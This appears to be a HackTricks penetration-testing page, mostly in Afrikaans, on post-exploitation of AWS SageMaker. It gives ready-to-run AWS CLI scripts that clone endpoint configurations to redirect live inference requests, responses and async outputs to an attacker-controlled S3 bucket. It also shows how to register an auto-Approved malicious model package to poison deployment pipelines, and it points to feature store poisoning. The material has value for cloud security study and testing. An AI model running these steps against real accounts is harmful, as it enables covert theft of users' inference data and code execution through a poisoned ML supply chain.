# AWS - SageMaker Post-Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

## SageMaker endpoint dataaftapping via UpdateEndpoint DataCaptureConfig

Misbruik SageMaker endpoint-bestuur om volledige aanvraag/antwoord-opname na 'n deur die aanvaller beheerde S3 bucket moontlik te maak sonder om die model of container aan te raak. Gebruik 'n nul/laag‑afbreektyd rollende opdatering en vereis slegs endpoint‑bestuursregte.

### Vereistes
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
- S3: `s3:CreateBucket` (of gebruik 'n bestaande bucket in dieselfde rekening)
- Opsioneel (as SSE‑KMS gebruik word): `kms:Encrypt` op die gekose CMK
- Doelwit: 'n bestaande InService real‑time endpoint in dieselfde rekening/streek

### Stappe
1) Identifiseer 'n InService endpoint en versamel huidige produksie‑variante
```bash
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
echo "Endpoint=$EP"
CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
```
2) Berei die attacker S3-bestemming voor vir vaslegginge
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
```
3) Skep 'n nuwe EndpointConfig wat dieselfde variante behou, maar DataCapture na die attacker bucket aktiveer

Let wel: Gebruik eksplisiete inhoudstipes wat aan CLI-validasie voldoen.
```bash
NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
{
"EnableCapture": true,
"InitialSamplingPercentage": 100,
"DestinationS3Uri": "s3://$BUCKET/capture",
"CaptureOptions": [
{"CaptureMode": "Input"},
{"CaptureMode": "Output"}
],
"CaptureContentTypeHeader": {
"JsonContentTypes": ["application/json"],
"CsvContentTypes": ["text/csv"]
}
}
JSON
aws sagemaker create-endpoint-config \
--region $REGION \
--endpoint-config-name "$NEWCFG" \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
```
4) Pas die nuwe konfigurasie toe met 'n rolling update (minimale/geen stilstandtyd)
```bash
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
```
5) Genereer ten minste een inferensie-oproep (opsioneel as daar regstreekse verkeer bestaan)
```bash
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
--content-type application/json --accept application/json \
--body fileb:///tmp/payload.json /tmp/out.bin || true
```
6) Valideer captures in attacker S3
```bash
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
```
### Impak
- Volledige eksfiltrasie van regstreekse inference-versoek- en reaksie‑payloads (en metadata) vanaf die geteikende endpoint na 'n deur 'n aanvaller beheerde S3-bucket.
- Geen veranderinge aan die model/container image nie en slegs endpoint‑vlak veranderinge, wat 'n stilletjies data‑diefstalpad moontlik maak met minimale operasionele ontwrigting.


## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig

Misbruik endpoint‑bestuur om asynchrone inference‑uitsette te herlei na 'n deur 'n aanvaller beheerde S3‑bucket deur die huidige EndpointConfig te kloon en AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath te stel. Dit exfiltreer modelvoorspellings (en enige getransformeerde insette wat deur die container ingesluit is) sonder om die model/container te wysig.

### Vereistes
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
- S3: Vermoe om te skryf na die aanvaller se S3‑bucket (via die model execution role of 'n permissiewe bucket policy)
- Target: 'n InService endpoint waar asynchrone aanroepe gebruik word (of gaan word)

### Stappe
1) Versamel die huidige ProductionVariants van die teiken‑endpoint
```bash
REGION=${REGION:-us-east-1}
EP=<target-endpoint-name>
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
```
2) Skep 'n attacker bucket (verseker dat die model execution role PutObject daaraan kan uitvoer)
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
```
3) Kloon EndpointConfig and hijack AsyncInference-uitsette na die attacker bucket
```bash
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
JSON
aws sagemaker create-endpoint-config --region $REGION   --endpoint-config-name "$NEWCFG"   --production-variants file:///tmp/pv.json   --async-inference-config file:///tmp/async_cfg.json
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
```
4) Veroorsaak 'n async-aanroep en verifieer dat voorwerpe in die aanvaller se S3 beland
```bash
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
sleep 30
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
```
### Impak
- Herlei asynchrone inference-resultate (en foutliggame) na attacker-controlled S3, wat bedekte eksfiltrasie van voorspellings en moontlik sensitiewe pre-/post-verwerkte insette wat deur die container geproduseer word, moontlik maak, sonder om model code of image te verander en met minimale/geen stilstand nie.


## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)

If an attacker can CreateModelPackage on a target SageMaker Model Package Group, they can register a new model version that points to an attacker-controlled container image and immediately mark it Approved. Many CI/CD pipelines auto-deploy Approved model versions to endpoints or training jobs, resulting in attacker code execution under the service’s execution roles. Cross-account exposure can be amplified by a permissive ModelPackageGroup resource policy.

### Vereistes
- IAM (minimum to poison an existing group): `sagemaker:CreateModelPackage` op die teiken ModelPackageGroup
- Opsioneel (om ’n groep te skep as een nie bestaan nie): `sagemaker:CreateModelPackageGroup`
- S3: Lees toegang tot die verwysde ModelDataUrl (of host attacker-controlled artifacts)
- Teiken: ’n Model Package Group wat downstream automation dophou vir Approved weergawes

### Stappe
1) Stel region in en skep/vind ’n teiken Model Package Group
```bash
REGION=${REGION:-us-east-1}
MPG=victim-group-$(date +%s)
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
```
2) Berei voorbeeldmodeldata in S3 voor
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
head -c 1024 </dev/urandom > /tmp/model.tar.gz
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
```
3) Registreer 'n kwaadwillige (hier onskadelike) Approved model package version wat na 'n openbare AWS DLC image verwys
```bash
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
cat > /tmp/inf.json << JSON
{
"Containers": [
{
"Image": "$IMG",
"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
}
],
"SupportedContentTypes": ["text/csv"],
"SupportedResponseMIMETypes": ["text/csv"]
}
JSON
aws sagemaker create-model-package --region $REGION   --model-package-group-name $MPG   --model-approval-status Approved   --inference-specification file:///tmp/inf.json
```
4) Verifieer dat die nuwe goedgekeurde weergawe bestaan
```bash
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
```
### Impak
- Vergiftig die Model Registry met 'n Approved version wat na aanvaller-beheerde code verwys. Pipelines wat Approved models outomaties deploy, kan die aanvaller-image pull en run, wat code execution onder endpoint/training roles tot gevolg het.
- Met 'n toegeeflike ModelPackageGroup resource policy (PutModelPackageGroupPolicy) kan hierdie misbruik tussen rekeninge geaktiveer word.

## Feature store poisoning

Misbruik `sagemaker:PutRecord` op 'n Feature Group met OnlineStore geaktiveer om lewendige feature values wat deur online inference verbruik word, oor te skryf. In kombinasie met `sagemaker:GetRecord`, kan 'n aanvaller sensitiewe features lees. Dit vereis nie toegang tot models of endpoints nie.

{{#ref}}
feature-store-poisoning.md
{{/ref}}
{{#include ../../../../banners/hacktricks-training.md}}
